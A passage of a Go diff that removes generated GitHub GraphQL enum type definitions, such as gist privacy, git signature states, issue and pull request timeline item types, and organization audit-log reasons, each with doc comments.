- FundingPlatformOpenCollective FundingPlatform = "OPEN_COLLECTIVE" // Open Collective funding platform. - FundingPlatformKoFi FundingPlatform = "KO_FI" // Ko-fi funding platform. - FundingPlatformTidelift FundingPlatform = "TIDELIFT" // Tidelift funding platform. - FundingPlatformCommunityBridge FundingPlatform = "COMMUNITY_BRIDGE" // Community Bridge funding platform. - FundingPlatformLiberapay FundingPlatform = "LIBERAPAY" // Liberapay funding platform. - FundingPlatformIssuehunt FundingPlatform = "ISSUEHUNT" // IssueHunt funding platform. - FundingPlatformOtechie FundingPlatform = "OTECHIE" // Otechie funding platform. - FundingPlatformCustom FundingPlatform = "CUSTOM" // Custom funding platform. -) - -// GistOrderField represents properties by which gist connections can be ordered. -type GistOrderField string - -// Properties by which gist connections can be ordered. -const ( - GistOrderFieldCreatedAt GistOrderField = "CREATED_AT" // Order gists by creation time. - GistOrderFieldUpdatedAt GistOrderField = "UPDATED_AT" // Order gists by update time. - GistOrderFieldPushedAt GistOrderField = "PUSHED_AT" // Order gists by push time. -) - -// GistPrivacy represents the privacy of a Gist. -type GistPrivacy string - -// The privacy of a Gist. -const ( - GistPrivacyPublic GistPrivacy = "PUBLIC" // Public. - GistPrivacySecret GistPrivacy = "SECRET" // Secret. - GistPrivacyAll GistPrivacy = "ALL" // Gists that are public and secret. -) - -// GitSignatureState represents the state of a Git signature. -type GitSignatureState string - -// The state of a Git signature. -const ( - GitSignatureStateValid GitSignatureState = "VALID" // Valid signature and verified by GitHub. - GitSignatureStateInvalid GitSignatureState = "INVALID" // Invalid signature. - GitSignatureStateMalformedSig GitSignatureState = "MALFORMED_SIG" // Malformed signature. - GitSignatureStateUnknownKey GitSignatureState = "UNKNOWN_KEY" // Key used for signing not known to GitHub. - GitSignatureStateBadEmail GitSignatureState = "BAD_EMAIL" // Invalid email used for signing. - GitSignatureStateUnverifiedEmail GitSignatureState = "UNVERIFIED_EMAIL" // Email used for signing unverified on GitHub. - GitSignatureStateNoUser GitSignatureState = "NO_USER" // Email used for signing not known to GitHub. - GitSignatureStateUnknownSigType GitSignatureState = "UNKNOWN_SIG_TYPE" // Unknown signature type. - GitSignatureStateUnsigned GitSignatureState = "UNSIGNED" // Unsigned. - GitSignatureStateGpgverifyUnavailable GitSignatureState = "GPGVERIFY_UNAVAILABLE" // Internal error - the GPG verification service is unavailable at the moment. - GitSignatureStateGpgverifyError GitSignatureState = "GPGVERIFY_ERROR" // Internal error - the GPG verification service misbehaved. - GitSignatureStateNotSigningKey GitSignatureState = "NOT_SIGNING_KEY" // The usage flags for the key that signed this don't allow signing. - GitSignatureStateExpiredKey GitSignatureState = "EXPIRED_KEY" // Signing key expired. - GitSignatureStateOcspPending GitSignatureState = "OCSP_PENDING" // Valid signature, pending certificate revocation checking. - GitSignatureStateOcspError GitSignatureState = "OCSP_ERROR" // Valid siganture, though certificate revocation check failed. - GitSignatureStateBadCert GitSignatureState = "BAD_CERT" // The signing certificate or its chain could not be verified. - GitSignatureStateOcspRevoked GitSignatureState = "OCSP_REVOKED" // One or more certificates in chain has been revoked. -) - -// IdentityProviderConfigurationState represents the possible states in which authentication can be configured with an identity provider. -type IdentityProviderConfigurationState string - -// The possible states in which authentication can be configured with an identity provider. -const ( - IdentityProviderConfigurationStateEnforced IdentityProviderConfigurationState = "ENFORCED" // Authentication with an identity provider is configured and enforced. - IdentityProviderConfigurationStateConfigured IdentityProviderConfigurationState = "CONFIGURED" // Authentication with an identity provider is configured but not enforced. - IdentityProviderConfigurationStateUnconfigured IdentityProviderConfigurationState = "UNCONFIGURED" // Authentication with an identity provider is not configured. -) - -// IssueOrderField represents properties by which issue connections can be ordered. -type IssueOrderField string - -// Properties by which issue connections can be ordered. -const ( - IssueOrderFieldCreatedAt IssueOrderField = "CREATED_AT" // Order issues by creation time. - IssueOrderFieldUpdatedAt IssueOrderField = "UPDATED_AT" // Order issues by update time. - IssueOrderFieldComments IssueOrderField = "COMMENTS" // Order issues by comment count. -) - -// IssuePubSubTopic represents the possible PubSub channels for an issue. -type IssuePubSubTopic string - -// The possible PubSub channels for an issue. -const ( - IssuePubSubTopicUpdated IssuePubSubTopic = "UPDATED" // The channel ID for observing issue updates. - IssuePubSubTopicMarkasread IssuePubSubTopic = "MARKASREAD" // The channel ID for marking an issue as read. - IssuePubSubTopicTimeline IssuePubSubTopic = "TIMELINE" // The channel ID for updating items on the issue timeline. - IssuePubSubTopicState IssuePubSubTopic = "STATE" // The channel ID for observing issue state updates. -) - -// IssueState represents the possible states of an issue. -type IssueState string - -// The possible states of an issue. -const ( - IssueStateOpen IssueState = "OPEN" // An issue that is still open. - IssueStateClosed IssueState = "CLOSED" // An issue that has been closed. -) - -// IssueTimelineItemsItemType represents the possible item types found in a timeline. -type IssueTimelineItemsItemType string - -// The possible item types found in a timeline. -const ( - IssueTimelineItemsItemTypeIssueComment IssueTimelineItemsItemType = "ISSUE_COMMENT" // Represents a comment on an Issue. - IssueTimelineItemsItemTypeCrossReferencedEvent IssueTimelineItemsItemType = "CROSS_REFERENCED_EVENT" // Represents a mention made by one issue or pull request to another. - IssueTimelineItemsItemTypeAddedToProjectEvent IssueTimelineItemsItemType = "ADDED_TO_PROJECT_EVENT" // Represents a 'added_to_project' event on a given issue or pull request. - IssueTimelineItemsItemTypeAssignedEvent IssueTimelineItemsItemType = "ASSIGNED_EVENT" // Represents an 'assigned' event on any assignable object. - IssueTimelineItemsItemTypeClosedEvent IssueTimelineItemsItemType = "CLOSED_EVENT" // Represents a 'closed' event on any `Closable`. - IssueTimelineItemsItemTypeCommentDeletedEvent IssueTimelineItemsItemType = "COMMENT_DELETED_EVENT" // Represents a 'comment_deleted' event on a given issue or pull request. - IssueTimelineItemsItemTypeConvertedNoteToIssueEvent IssueTimelineItemsItemType = "CONVERTED_NOTE_TO_ISSUE_EVENT" // Represents a 'converted_note_to_issue' event on a given issue or pull request. - IssueTimelineItemsItemTypeDemilestonedEvent IssueTimelineItemsItemType = "DEMILESTONED_EVENT" // Represents a 'demilestoned' event on a given issue or pull request. - IssueTimelineItemsItemTypeLabeledEvent IssueTimelineItemsItemType = "LABELED_EVENT" // Represents a 'labeled' event on a given issue or pull request. - IssueTimelineItemsItemTypeLockedEvent IssueTimelineItemsItemType = "LOCKED_EVENT" // Represents a 'locked' event on a given issue or pull request. - IssueTimelineItemsItemTypeMarkedAsDuplicateEvent IssueTimelineItemsItemType = "MARKED_AS_DUPLICATE_EVENT" // Represents a 'marked_as_duplicate' event on a given issue or pull request. - IssueTimelineItemsItemTypeMentionedEvent IssueTimelineItemsItemType = "MENTIONED_EVENT" // Represents a 'mentioned' event on a given issue or pull request. - IssueTimelineItemsItemTypeMilestonedEvent IssueTimelineItemsItemType = "MILESTONED_EVENT" // Represents a 'milestoned' event on a given issue or pull request. - IssueTimelineItemsItemTypeMovedColumnsInProjectEvent IssueTimelineItemsItemType = "MOVED_COLUMNS_IN_PROJECT_EVENT" // Represents a 'moved_columns_in_project' event on a given issue or pull request. - IssueTimelineItemsItemTypePinnedEvent IssueTimelineItemsItemType = "PINNED_EVENT" // Represents a 'pinned' event on a given issue or pull request. - IssueTimelineItemsItemTypeReferencedEvent IssueTimelineItemsItemType = "REFERENCED_EVENT" // Represents a 'referenced' event on a given `ReferencedSubject`. - IssueTimelineItemsItemTypeRemovedFromProjectEvent IssueTimelineItemsItemType = "REMOVED_FROM_PROJECT_EVENT" // Represents a 'removed_from_project' event on a given issue or pull request. - IssueTimelineItemsItemTypeRenamedTitleEvent IssueTimelineItemsItemType = "RENAMED_TITLE_EVENT" // Represents a 'renamed' event on a given issue or pull request. - IssueTimelineItemsItemTypeReopenedEvent IssueTimelineItemsItemType = "REOPENED_EVENT" // Represents a 'reopened' event on any `Closable`. - IssueTimelineItemsItemTypeSubscribedEvent IssueTimelineItemsItemType = "SUBSCRIBED_EVENT" // Represents a 'subscribed' event on a given `Subscribable`. - IssueTimelineItemsItemTypeTransferredEvent IssueTimelineItemsItemType = "TRANSFERRED_EVENT" // Represents a 'transferred' event on a given issue or pull request. - IssueTimelineItemsItemTypeUnassignedEvent IssueTimelineItemsItemType = "UNASSIGNED_EVENT" // Represents an 'unassigned' event on any assignable object. - IssueTimelineItemsItemTypeUnlabeledEvent IssueTimelineItemsItemType = "UNLABELED_EVENT" // Represents an 'unlabeled' event on a given issue or pull request. - IssueTimelineItemsItemTypeUnlockedEvent IssueTimelineItemsItemType = "UNLOCKED_EVENT" // Represents an 'unlocked' event on a given issue or pull request. - IssueTimelineItemsItemTypeUserBlockedEvent IssueTimelineItemsItemType = "USER_BLOCKED_EVENT" // Represents a 'user_blocked' event on a given user. - IssueTimelineItemsItemTypeUnpinnedEvent IssueTimelineItemsItemType = "UNPINNED_EVENT" // Represents an 'unpinned' event on a given issue or pull request. - IssueTimelineItemsItemTypeUnsubscribedEvent IssueTimelineItemsItemType = "UNSUBSCRIBED_EVENT" // Represents an 'unsubscribed' event on a given `Subscribable`. -) - -// LanguageOrderField represents properties by which language connections can be ordered. -type LanguageOrderField string - -// Properties by which language connections can be ordered. -const ( - LanguageOrderFieldSize LanguageOrderField = "SIZE" // Order languages by the size of all files containing the language. -) - -// LockReason represents the possible reasons that an issue or pull request was locked. -type LockReason string - -// The possible reasons that an issue or pull request was locked. -const ( - LockReasonOffTopic LockReason = "OFF_TOPIC" // The issue or pull request was locked because the conversation was off-topic. - LockReasonTooHeated LockReason = "TOO_HEATED" // The issue or pull request was locked because the conversation was too heated. - LockReasonResolved LockReason = "RESOLVED" // The issue or pull request was locked because the conversation was resolved. - LockReasonSpam LockReason = "SPAM" // The issue or pull request was locked because the conversation was spam. -) - -// MergeableState represents whether or not a PullRequest can be merged. -type MergeableState string - -// Whether or not a PullRequest can be merged. -const ( - MergeableStateMergeable MergeableState = "MERGEABLE" // The pull request can be merged. - MergeableStateConflicting MergeableState = "CONFLICTING" // The pull request cannot be merged due to merge conflicts. - MergeableStateUnknown MergeableState = "UNKNOWN" // The mergeability of the pull request is still being calculated. -) - -// MilestoneOrderField represents properties by which milestone connections can be ordered. -type MilestoneOrderField string - -// Properties by which milestone connections can be ordered. -const ( - MilestoneOrderFieldDueDate MilestoneOrderField = "DUE_DATE" // Order milestones by when they are due. - MilestoneOrderFieldCreatedAt MilestoneOrderField = "CREATED_AT" // Order milestones by when they were created. - MilestoneOrderFieldUpdatedAt MilestoneOrderField = "UPDATED_AT" // Order milestones by when they were last updated. - MilestoneOrderFieldNumber MilestoneOrderField = "NUMBER" // Order milestones by their number. -) - -// MilestoneState represents the possible states of a milestone. -type MilestoneState string - -// The possible states of a milestone. -const ( - MilestoneStateOpen MilestoneState = "OPEN" // A milestone that is still open. - MilestoneStateClosed MilestoneState = "CLOSED" // A milestone that has been closed. -) - -// OauthApplicationCreateAuditEntryState represents the state of an OAuth Application when it was created. -type OauthApplicationCreateAuditEntryState string - -// The state of an OAuth Application when it was created. -const ( - OauthApplicationCreateAuditEntryStateActive OauthApplicationCreateAuditEntryState = "ACTIVE" // The OAuth Application was active and allowed to have OAuth Accesses. - OauthApplicationCreateAuditEntryStateSuspended OauthApplicationCreateAuditEntryState = "SUSPENDED" // The OAuth Application was suspended from generating OAuth Accesses due to abuse or security concerns. - OauthApplicationCreateAuditEntryStatePendingDeletion OauthApplicationCreateAuditEntryState = "PENDING_DELETION" // The OAuth Application was in the process of being deleted. -) - -// OauthApplicationRevokeTokensAuditEntryState represents the state of an OAuth Application when its tokens were revoked. -type OauthApplicationRevokeTokensAuditEntryState string - -// The state of an OAuth Application when its tokens were revoked. -const ( - OauthApplicationRevokeTokensAuditEntryStateActive OauthApplicationRevokeTokensAuditEntryState = "ACTIVE" // The OAuth Application was active and allowed to have OAuth Accesses. - OauthApplicationRevokeTokensAuditEntryStateSuspended OauthApplicationRevokeTokensAuditEntryState = "SUSPENDED" // The OAuth Application was suspended from generating OAuth Accesses due to abuse or security concerns. - OauthApplicationRevokeTokensAuditEntryStatePendingDeletion OauthApplicationRevokeTokensAuditEntryState = "PENDING_DELETION" // The OAuth Application was in the process of being deleted. -) - -// OperationType represents the corresponding operation type for the action. -type OperationType string - -// The corresponding operation type for the action. -const ( - OperationTypeAccess OperationType = "ACCESS" // An existing resource was accessed. - OperationTypeAuthentication OperationType = "AUTHENTICATION" // A resource performed an authentication event. - OperationTypeCreate OperationType = "CREATE" // A new resource was created. - OperationTypeModify OperationType = "MODIFY" // An existing resource was modified. - OperationTypeRemove OperationType = "REMOVE" // An existing resource was removed. - OperationTypeRestore OperationType = "RESTORE" // An existing resource was restored. - OperationTypeTransfer OperationType = "TRANSFER" // An existing resource was transferred between multiple resources. -) - -// OrderDirection represents possible directions in which to order a list of items when provided an `orderBy` argument. -type OrderDirection string - -// Possible directions in which to order a list of items when provided an `orderBy` argument. -const ( - OrderDirectionAsc OrderDirection = "ASC" // Specifies an ascending order for a given `orderBy` argument. - OrderDirectionDesc OrderDirection = "DESC" // Specifies a descending order for a given `orderBy` argument. -) - -// OrgAddMemberAuditEntryPermission represents the permissions available to members on an Organization. -type OrgAddMemberAuditEntryPermission string - -// The permissions available to members on an Organization. -const ( - OrgAddMemberAuditEntryPermissionRead OrgAddMemberAuditEntryPermission = "READ" // Can read and clone repositories. - OrgAddMemberAuditEntryPermissionAdmin OrgAddMemberAuditEntryPermission = "ADMIN" // Can read, clone, push, and add collaborators to repositories. -) - -// OrgCreateAuditEntryBillingPlan represents the billing plans available for organizations. -type OrgCreateAuditEntryBillingPlan string - -// The billing plans available for organizations. -const ( - OrgCreateAuditEntryBillingPlanFree OrgCreateAuditEntryBillingPlan = "FREE" // Free Plan. - OrgCreateAuditEntryBillingPlanBusiness OrgCreateAuditEntryBillingPlan = "BUSINESS" // Team Plan. - OrgCreateAuditEntryBillingPlanBusinessPlus OrgCreateAuditEntryBillingPlan = "BUSINESS_PLUS" // Enterprise Cloud Plan. - OrgCreateAuditEntryBillingPlanUnlimited OrgCreateAuditEntryBillingPlan = "UNLIMITED" // Legacy Unlimited Plan. - OrgCreateAuditEntryBillingPlanTieredPerSeat OrgCreateAuditEntryBillingPlan = "TIERED_PER_SEAT" // Tiered Per Seat Plan. -) - -// OrgRemoveBillingManagerAuditEntryReason represents the reason a billing manager was removed from an Organization. -type OrgRemoveBillingManagerAuditEntryReason string - -// The reason a billing manager was removed from an Organization. -const ( - OrgRemoveBillingManagerAuditEntryReasonTwoFactorRequirementNonCompliance OrgRemoveBillingManagerAuditEntryReason = "TWO_FACTOR_REQUIREMENT_NON_COMPLIANCE" // The organization required 2FA of its billing managers and this user did not have 2FA enabled. - OrgRemoveBillingManagerAuditEntryReasonSamlExternalIdentityMissing OrgRemoveBillingManagerAuditEntryReason = "SAML_EXTERNAL_IDENTITY_MISSING" // SAML external identity missing. - OrgRemoveBillingManagerAuditEntryReasonSamlSsoEnforcementRequiresExternalIdentity OrgRemoveBillingManagerAuditEntryReason = "SAML_SSO_ENFORCEMENT_REQUIRES_EXTERNAL_IDENTITY" // SAML SSO enforcement requires an external identity. -) - -// OrgRemoveMemberAuditEntryMembershipType represents the type of membership a user has with an Organization. -type OrgRemoveMemberAuditEntryMembershipType string - -// The type of membership a user has with an Organization. -const ( - OrgRemoveMemberAuditEntryMembershipTypeDirectMember OrgRemoveMemberAuditEntryMembershipType = "DIRECT_MEMBER" // A direct member is a user that is a member of the Organization. - OrgRemoveMemberAuditEntryMembershipTypeAdmin OrgRemoveMemberAuditEntryMembershipType = "ADMIN" // Organization administrators have full access and can change several settings, including the names of repositories that belong to the Organization and Owners team membership. In addition, organization admins can delete the organization and all of its repositories. - OrgRemoveMemberAuditEntryMembershipTypeBillingManager OrgRemoveMemberAuditEntryMembershipType = "BILLING_MANAGER" // A billing manager is a user who manages the billing settings for the Organization, such as updating payment information. - OrgRemoveMemberAuditEntryMembershipTypeUnaffiliated OrgRemoveMemberAuditEntryMembershipType = "UNAFFILIATED" // An unaffiliated collaborator is a person who is not a member of the Organization and does not have access to any repositories in the Organization. - OrgRemoveMemberAuditEntryMembershipTypeOutsideCollaborator OrgRemoveMemberAuditEntryMembershipType = "OUTSIDE_COLLABORATOR" // An outside collaborator is a person who isn't explicitly a member of the Organization, but who has Read, Write, or Admin permissions to one or more repositories in the organization. -) - -// OrgRemoveMemberAuditEntryReason represents the reason a member was removed from an Organization. -type OrgRemoveMemberAuditEntryReason string - -// The reason a member was removed from an Organization. -const ( - OrgRemoveMemberAuditEntryReasonTwoFactorRequirementNonCompliance OrgRemoveMemberAuditEntryReason = "TWO_FACTOR_REQUIREMENT_NON_COMPLIANCE" // The organization required 2FA of its billing managers and this user did not have 2FA enabled. - OrgRemoveMemberAuditEntryReasonSamlExternalIdentityMissing OrgRemoveMemberAuditEntryReason = "SAML_EXTERNAL_IDENTITY_MISSING" // SAML external identity missing. - OrgRemoveMemberAuditEntryReasonSamlSsoEnforcementRequiresExternalIdentity OrgRemoveMemberAuditEntryReason = "SAML_SSO_ENFORCEMENT_REQUIRES_EXTERNAL_IDENTITY" // SAML SSO enforcement requires an external identity. -) - -// OrgRemoveOutsideCollaboratorAuditEntryMembershipType represents the type of membership a user has with an Organization. -type OrgRemoveOutsideCollaboratorAuditEntryMembershipType string - -// The type of membership a user has with an Organization. -const ( - OrgRemoveOutsideCollaboratorAuditEntryMembershipTypeOutsideCollaborator OrgRemoveOutsideCollaboratorAuditEntryMembershipType = "OUTSIDE_COLLABORATOR" // An outside collaborator is a person who isn't explicitly a member of the Organization, but who has Read, Write, or Admin permissions to one or more repositories in the organization. - OrgRemoveOutsideCollaboratorAuditEntryMembershipTypeUnaffiliated OrgRemoveOutsideCollaboratorAuditEntryMembershipType = "UNAFFILIATED" // An unaffiliated collaborator is a person who is not a member of the Organization and does not have access to any repositories in the organization. - OrgRemoveOutsideCollaboratorAuditEntryMembershipTypeBillingManager OrgRemoveOutsideCollaboratorAuditEntryMembershipType = "BILLING_MANAGER" // A billing manager is a user who manages the billing settings for the Organization, such as updating payment information. -) - -// OrgRemoveOutsideCollaboratorAuditEntryReason represents the reason an outside collaborator was removed from an Organization. -type OrgRemoveOutsideCollaboratorAuditEntryReason string - -// The reason an outside collaborator was removed from an Organization. -const ( - OrgRemoveOutsideCollaboratorAuditEntryReasonTwoFactorRequirementNonCompliance OrgRemoveOutsideCollaboratorAuditEntryReason = "TWO_FACTOR_REQUIREMENT_NON_COMPLIANCE" // The organization required 2FA of its billing managers and this user did not have 2FA enabled. - OrgRemoveOutsideCollaboratorAuditEntryReasonSamlExternalIdentityMissing OrgRemoveOutsideCollaboratorAuditEntryReason = "SAML_EXTERNAL_IDENTITY_MISSING" // SAML external identity missing. -) - -// OrgUpdateDefaultRepositoryPermissionAuditEntryPermission represents the default permission a repository can have in an Organization. -type OrgUpdateDefaultRepositoryPermissionAuditEntryPermission string - -// The default permission a repository can have in an Organization. -const ( - OrgUpdateDefaultRepositoryPermissionAuditEntryPermissionRead OrgUpdateDefaultRepositoryPermissionAuditEntryPermission = "READ" // Can read and clone repositories. - OrgUpdateDefaultRepositoryPermissionAuditEntryPermissionWrite OrgUpdateDefaultRepositoryPermissionAuditEntryPermission = "WRITE" // Can read, clone and push to repositories. - OrgUpdateDefaultRepositoryPermissionAuditEntryPermissionAdmin OrgUpdateDefaultRepositoryPermissionAuditEntryPermission = "ADMIN" // Can read, clone, push, and add collaborators to repositories. - OrgUpdateDefaultRepositoryPermissionAuditEntryPermissionNone OrgUpdateDefaultRepositoryPermissionAuditEntryPermission = "NONE" // No default permission value. -) - -// OrgUpdateMemberAuditEntryPermission represents the permissions available to members on an Organization. -type OrgUpdateMemberAuditEntryPermission string - -// The permissions available to members on an Organization. -const ( - OrgUpdateMemberAuditEntryPermissionRead OrgUpdateMemberAuditEntryPermission = "READ" // Can read and clone repositories. - OrgUpdateMemberAuditEntryPermissionAdmin OrgUpdateMemberAuditEntryPermission = "ADMIN" // Can read, clone, push, and add collaborators to repositories. -) - -// OrgUpdateMemberRepositoryCreationPermissionAuditEntryVisibility represents the permissions available for repository creation on an Organization. -type OrgUpdateMemberRepositoryCreationPermissionAuditEntryVisibility string - -// The permissions available for repository creation on an Organization. -const ( - OrgUpdateMemberRepositoryCreationPermissionAuditEntryVisibilityAll OrgUpdateMemberRepositoryCreationPermissionAuditEntryVisibility = "ALL" // All organization members are restricted from creating any repositories. - OrgUpdateMemberRepositoryCreationPermissionAuditEntryVisibilityPublic OrgUpdateMemberRepositoryCreationPermissionAuditEntryVisibility = "PUBLIC" // All organization members are restricted from creating public repositories. -) - -// OrganizationInvitationRole represents the possible organization invitation roles. -type OrganizationInvitationRole string - -// The possible organization invitation roles. -const ( - OrganizationInvitationRoleDirectMember OrganizationInvitationRole = "DIRECT_MEMBER" // The user is invited to be a direct member of the organization. - OrganizationInvitationRoleAdmin OrganizationInvitationRole = "ADMIN" // The user is invited to be an admin of the organization. - OrganizationInvitationRoleBillingManager OrganizationInvitationRole = "BILLING_MANAGER" // The user is invited to be a billing manager of the organization. - OrganizationInvitationRoleReinstate OrganizationInvitationRole = "REINSTATE" // The user's previous role will be reinstated. -) - -// OrganizationInvitationType represents the possible organization invitation types. -type OrganizationInvitationType string - -// The possible organization invitation types. -const ( - OrganizationInvitationTypeUser OrganizationInvitationType = "USER" // The invitation was to an existing user. - OrganizationInvitationTypeEmail OrganizationInvitationType = "EMAIL" // The invitation was to an email address. -) - -// OrganizationMemberRole represents the possible roles within an organization for its members. -type OrganizationMemberRole string - -// The possible roles within an organization for its members. -const ( - OrganizationMemberRoleMember OrganizationMemberRole = "MEMBER" // The user is a member of the organization. - OrganizationMemberRoleAdmin OrganizationMemberRole = "ADMIN" // The user is an administrator of the organization. -) - -// OrganizationMembersCanCreateRepositoriesSettingValue represents the possible values for the members can create repositories setting on an organization. -type OrganizationMembersCanCreateRepositoriesSettingValue string - -// The possible values for the members can create repositories setting on an organization. -const ( - OrganizationMembersCanCreateRepositoriesSettingValueAll OrganizationMembersCanCreateRepositoriesSettingValue = "ALL" // Members will be able to create public and private repositories. - OrganizationMembersCanCreateRepositoriesSettingValuePrivate OrganizationMembersCanCreateRepositoriesSettingValue = "PRIVATE" // Members will be able to create only private repositories. - OrganizationMembersCanCreateRepositoriesSettingValueDisabled OrganizationMembersCanCreateRepositoriesSettingValue = "DISABLED" // Members will not be able to create public or private repositories. -) - -// OrganizationOrderField represents properties by which organization connections can be ordered. -type OrganizationOrderField string - -// Properties by which organization connections can be ordered. -const ( - OrganizationOrderFieldCreatedAt OrganizationOrderField = "CREATED_AT" // Order organizations by creation time. - OrganizationOrderFieldLogin OrganizationOrderField = "LOGIN" // Order organizations by login. -) - -// PinnableItemType represents represents items that can be pinned to a profile page or dashboard. -type PinnableItemType string - -// Represents items that can be pinned to a profile page or dashboard. -const ( - PinnableItemTypeRepository PinnableItemType = "REPOSITORY" // A repository. - PinnableItemTypeGist PinnableItemType = "GIST" // A gist. - PinnableItemTypeIssue PinnableItemType = "ISSUE" // An issue. - PinnableItemTypeProject PinnableItemType = "PROJECT" // A project. - PinnableItemTypePullRequest PinnableItemType = "PULL_REQUEST" // A pull request. - PinnableItemTypeUser PinnableItemType = "USER" // A user. - PinnableItemTypeOrganization PinnableItemType = "ORGANIZATION" // An organization. - PinnableItemTypeTeam PinnableItemType = "TEAM" // A team. -) - -// ProjectCardArchivedState represents the possible archived states of a project card. -type ProjectCardArchivedState string - -// The possible archived states of a project card. -const ( - ProjectCardArchivedStateArchived ProjectCardArchivedState = "ARCHIVED" // A project card that is archived. - ProjectCardArchivedStateNotArchived ProjectCardArchivedState = "NOT_ARCHIVED" // A project card that is not archived. -) - -// ProjectCardState represents various content states of a ProjectCard. -type ProjectCardState string - -// Various content states of a ProjectCard. -const ( - ProjectCardStateContentOnly ProjectCardState = "CONTENT_ONLY" // The card has content only. - ProjectCardStateNoteOnly ProjectCardState = "NOTE_ONLY" // The card has a note only. - ProjectCardStateRedacted ProjectCardState = "REDACTED" // The card is redacted. -) - -// ProjectColumnPurpose represents the semantic purpose of the column - todo, in progress, or done. -type ProjectColumnPurpose string - -// The semantic purpose of the column - todo, in progress, or done. -const ( - ProjectColumnPurposeTodo ProjectColumnPurpose = "TODO" // The column contains cards still to be worked on. - ProjectColumnPurposeInProgress ProjectColumnPurpose = "IN_PROGRESS" // The column contains cards which are currently being worked on. - ProjectColumnPurposeDone ProjectColumnPurpose = "DONE" // The column contains cards which are complete. -) - -// ProjectOrderField represents properties by which project connections can be ordered. -type ProjectOrderField string - -// Properties by which project connections can be ordered. -const ( - ProjectOrderFieldCreatedAt ProjectOrderField = "CREATED_AT" // Order projects by creation time. - ProjectOrderFieldUpdatedAt ProjectOrderField = "UPDATED_AT" // Order projects by update time. - ProjectOrderFieldName ProjectOrderField = "NAME" // Order projects by name. -) - -// ProjectState represents state of the project; either 'open' or 'closed'. -type ProjectState string - -// State of the project; either 'open' or 'closed'. -const ( - ProjectStateOpen ProjectState = "OPEN" // The project is open. - ProjectStateClosed ProjectState = "CLOSED" // The project is closed. -) - -// ProjectTemplate represents gitHub-provided templates for Projects. -type ProjectTemplate string - -// GitHub-provided templates for Projects. -const ( - ProjectTemplateBasicKanban ProjectTemplate = "BASIC_KANBAN" // Create a board with columns for To do, In progress and Done. - ProjectTemplateAutomatedKanbanV2 ProjectTemplate = "AUTOMATED_KANBAN_V2" // Create a board with v2 triggers to automatically move cards across To do, In progress and Done columns. - ProjectTemplateAutomatedReviewsKanban ProjectTemplate = "AUTOMATED_REVIEWS_KANBAN" // Create a board with triggers to automatically move cards across columns with review automation. - ProjectTemplateBugTriage ProjectTemplate = "BUG_TRIAGE" // Create a board to triage and prioritize bugs with To do, priority, and Done columns. -) - -// PullRequestMergeMethod represents represents available types of methods to use when merging a pull request. -type PullRequestMergeMethod string - -// Represents available types of methods to use when merging a pull request. -const ( - PullRequestMergeMethodMerge PullRequestMergeMethod = "MERGE" // Add all commits from the head branch to the base branch with a merge commit. - PullRequestMergeMethodSquash PullRequestMergeMethod = "SQUASH" // Combine all commits from the head branch into a single commit in the base branch. - PullRequestMergeMethodRebase PullRequestMergeMethod = "REBASE" // Add all commits from the head branch onto the base branch individually. -) - -// PullRequestOrderField represents properties by which pull_requests connections can be ordered. -type PullRequestOrderField string - -// Properties by which pull_requests connections can be ordered. -const ( - PullRequestOrderFieldCreatedAt PullRequestOrderField = "CREATED_AT" // Order pull_requests by creation time. - PullRequestOrderFieldUpdatedAt PullRequestOrderField = "UPDATED_AT" // Order pull_requests by update time. -) - -// PullRequestPubSubTopic represents the possible PubSub channels for a pull request. -type PullRequestPubSubTopic string - -// The possible PubSub channels for a pull request. -const ( - PullRequestPubSubTopicUpdated PullRequestPubSubTopic = "UPDATED" // The channel ID for observing pull request updates. - PullRequestPubSubTopicMarkasread PullRequestPubSubTopic = "MARKASREAD" // The channel ID for marking an pull request as read. - PullRequestPubSubTopicHeadRef PullRequestPubSubTopic = "HEAD_REF" // The channel ID for observing head ref updates. - PullRequestPubSubTopicTimeline PullRequestPubSubTopic = "TIMELINE" // The channel ID for updating items on the pull request timeline. - PullRequestPubSubTopicState PullRequestPubSubTopic = "STATE" // The channel ID for observing pull request state updates. -) - -// PullRequestReviewCommentState represents the possible states of a pull request review comment. -type PullRequestReviewCommentState string - -// The possible states of a pull request review comment. -const ( - PullRequestReviewCommentStatePending PullRequestReviewCommentState = "PENDING" // A comment that is part of a pending review. - PullRequestReviewCommentStateSubmitted PullRequestReviewCommentState = "SUBMITTED" // A comment that is part of a submitted review. -) - -// PullRequestReviewEvent represents the possible events to perform on a pull request review. -type PullRequestReviewEvent string - -// The possible events to perform on a pull request review. -const ( - PullRequestReviewEventComment PullRequestReviewEvent = "COMMENT" // Submit general feedback without explicit approval. - PullRequestReviewEventApprove PullRequestReviewEvent = "APPROVE" // Submit feedback and approve merging these changes. - PullRequestReviewEventRequestChanges PullRequestReviewEvent = "REQUEST_CHANGES" // Submit feedback that must be addressed before merging. - PullRequestReviewEventDismiss PullRequestReviewEvent = "DISMISS" // Dismiss review so it now longer effects merging. -) - -// PullRequestReviewState represents the possible states of a pull request review. -type PullRequestReviewState string - -// The possible states of a pull request review. -const ( - PullRequestReviewStatePending PullRequestReviewState = "PENDING" // A review that has not yet been submitted. - PullRequestReviewStateCommented PullRequestReviewState = "COMMENTED" // An informational review. - PullRequestReviewStateApproved PullRequestReviewState = "APPROVED" // A review allowing the pull request to merge. - PullRequestReviewStateChangesRequested PullRequestReviewState = "CHANGES_REQUESTED" // A review blocking the pull request from merging. - PullRequestReviewStateDismissed PullRequestReviewState = "DISMISSED" // A review that has been dismissed. -) - -// PullRequestState represents the possible states of a pull request. -type PullRequestState string - -// The possible states of a pull request. -const ( - PullRequestStateOpen PullRequestState = "OPEN" // A pull request that is still open. - PullRequestStateClosed PullRequestState = "CLOSED" // A pull request that has been closed without being merged. - PullRequestStateMerged PullRequestState = "MERGED" // A pull request that has been closed by being merged. -) - -// PullRequestTimelineItemsItemType represents the possible item types found in a timeline. -type PullRequestTimelineItemsItemType string - -// The possible item types found in a timeline. -const ( - PullRequestTimelineItemsItemTypePullRequestCommit PullRequestTimelineItemsItemType = "PULL_REQUEST_COMMIT" // Represents a Git commit part of a pull request. - PullRequestTimelineItemsItemTypePullRequestCommitCommentThread PullRequestTimelineItemsItemType = "PULL_REQUEST_COMMIT_COMMENT_THREAD" // Represents a commit comment thread part of a pull request. - PullRequestTimelineItemsItemTypePullRequestReview PullRequestTimelineItemsItemType = "PULL_REQUEST_REVIEW" // A review object for a given pull request. - PullRequestTimelineItemsItemTypePullRequestReviewThread PullRequestTimelineItemsItemType = "PULL_REQUEST_REVIEW_THREAD" // A threaded list of comments for a given pull request. - PullRequestTimelineItemsItemTypePullRequestRevisionMarker 